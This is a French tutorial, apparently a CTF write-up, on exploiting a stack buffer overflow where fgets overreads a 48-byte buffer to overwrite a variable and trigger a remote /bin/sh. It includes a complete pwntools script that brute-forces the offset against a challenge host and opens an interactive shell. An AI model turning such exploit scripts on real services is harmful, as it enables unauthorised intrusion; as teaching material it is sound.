pwn

Tutoriel PWN : Le Stack Buffer Overflow (Ouvertured'accès shell à distance)

21/05/2026

Le but de ce tutoriel est de comprendre comment un débordement de tampon (Buffer Overflow) permet de modifier une variable critique en mémoire pour forcer l'ouverture d'un accès shell (/bin/sh).

1. Comprendre la structure de la Pile (Stack)

Quand un programme s'exécute, il réserve un espace temporaire en mémoire appelé la pile pour stocker ses variables locales. Dans le code de Marie Curie, deux éléments cruciaux se suivent dans cet espace :

Plaintext


   [ Basse Mémoire ]
         │
         ▼
   ┌──────────────┐
   │ reponse[48]  │  <-- Votre saisie commence ici et se remplit vers le bas.
   ├──────────────┤
   │  ingredient  │  <-- Variable cible (Initialement : 0x00000042)
   └──────────────┘
         │
         ▼
   [ Haute Mémoire ]

La faille de sécurité

Le tableau reponse possède une taille fixe de 48 octets.

Cependant, l'utilisation de fgets(reponse, 128, stdin); autorise le programme à lire jusqu'à 128 octets. Si vous envoyez plus de 48 octets, les données en trop vont déborder du tableau reponse et s'écrire directement par-dessus la variable ingredient.

2. Le concept de l'exploitation

Pour valider l'épreuve, la variable ingredient (qui vaut 0x42) doit impérativement devenir égale à 0x84168802.

L'exploitation se déroule en deux phases combinées dans une seule chaîne de caractères (le payload) :

  1. Le Remplissage (Padding) : Envoyer une suite de caractères inutiles (comme des A) pour remplir intégralement le tableau reponse jusqu'à atteindre la frontière de la variable ingredient.
  2. La Corruption : Ajouter immédiatement après le remplissage les 4 octets de la valeur attendue (0x84168802).

3. Le problème de l'alignement et de l'Endianness

Deux pièges techniques bloquent souvent les débutants à cette étape :

L'alignement de la mémoire (Padding)

Bien que le tableau mesure 48 octets dans le code source, le compilateur (GCC) organise la mémoire pour qu'elle soit optimisée pour le processeur (alignement sur des blocs de 8 ou 16 octets). Il ajoute souvent de l'espace vide invisible. La distance réelle (l'offset) entre le début de votre saisie et la variable peut donc être de 48, 52, 56, 60 ou 64 octets.

Le Little-Endian

Les processeurs modernes (x86_64) lisent les octets à l'envers. La valeur hexadécimale 0x84168802 doit être envoyée dans l'ordre suivant sur le réseau : \x02\x88\x16\x84.

4. Script d'automatisation complet

Pour éviter de chercher l'offset à la main en envoyant des payloads à l'aveugle, ce script Python utilise la bibliothèque pwntools pour tester automatiquement les différents alignements possibles jusqu'à déclencher l'ouverture du shell.

Python


from pwn import *

context.update(arch='amd64', os='linux', log_level='info')

# 1 URL, port et valeur_cible à modifier selon CTF
host = 'spawn.ctf.fr'
port = 1030
valeur_cible = 0x84168802

# 2. Boucle de recherche de l'alignement (de 40 à 112 octets, de 4 en 4)
for offset in range(40, 112, 4):
    print(f"[*] Test de la structure avec un décalage de {offset} octets...")
    
    try:
        # Connexion temporaire au serveur
        p = remote(host, port)
        
        # Construction du payload personnalisé
        # p32() convertit automatiquement l'entier en 4 octets au format Little-Endian
        payload = b'A' * offset
        payload += p32(valeur_cible)
        
        # Passage de l'introduction du challenge
        p.recvuntil(b"bon ingredient ?\n")
        
        # Envoi de la charge utile
        p.sendline(payload)
        
        # Réception de la réponse du serveur
        reponse = p.recvall(timeout=1)
        
        # Analyse de la réponse : si le mot 'Bravo' apparaît, l'offset est le bon !
        if b"Bravo" in reponse or b"trouve" in reponse:
            print(f"\n[+] Alignement exact identifié : {offset} octets !")
            
            # Réouverture de la connexion en mode interactif pour utiliser le shell obtenu
            context.log_level = 'debug'
            connexion_finale = remote(host, port)
            connexion_finale.recvuntil(b"bon ingredient ?\n")
            connexion_finale.sendline(payload)
            
            print("[+] Accès Shell actif. Vous pouvez interagir.")
            connexion_finale.interactive()
            break
            
        p.close()
        
    except Exception as e:
        print(f"[-] Échec sur l'offset {offset} : {e}")
        if 'p' in locals():
            p.close()

5. Validation de l'exercice

Une fois le script lancé :

  1. Il va tester offset = 48, puis 52, puis 56, etc.
  2. Dès qu'il trouve le bon emplacement, la variable prend la valeur attendue, la condition if (ingredient == 0x84168802) devient vraie et le serveur exécute system("/bin/sh").
  3. Le script passe alors en mode interactif ([+] Switching to interactive mode).
  4. Vous n'avez plus qu'à taper les commandes système pour lire le drapeau :
$ ls
flag.txt binaire
$ cat flag.txt
404CTF{...ici_le_flag_de_l_epreuve...}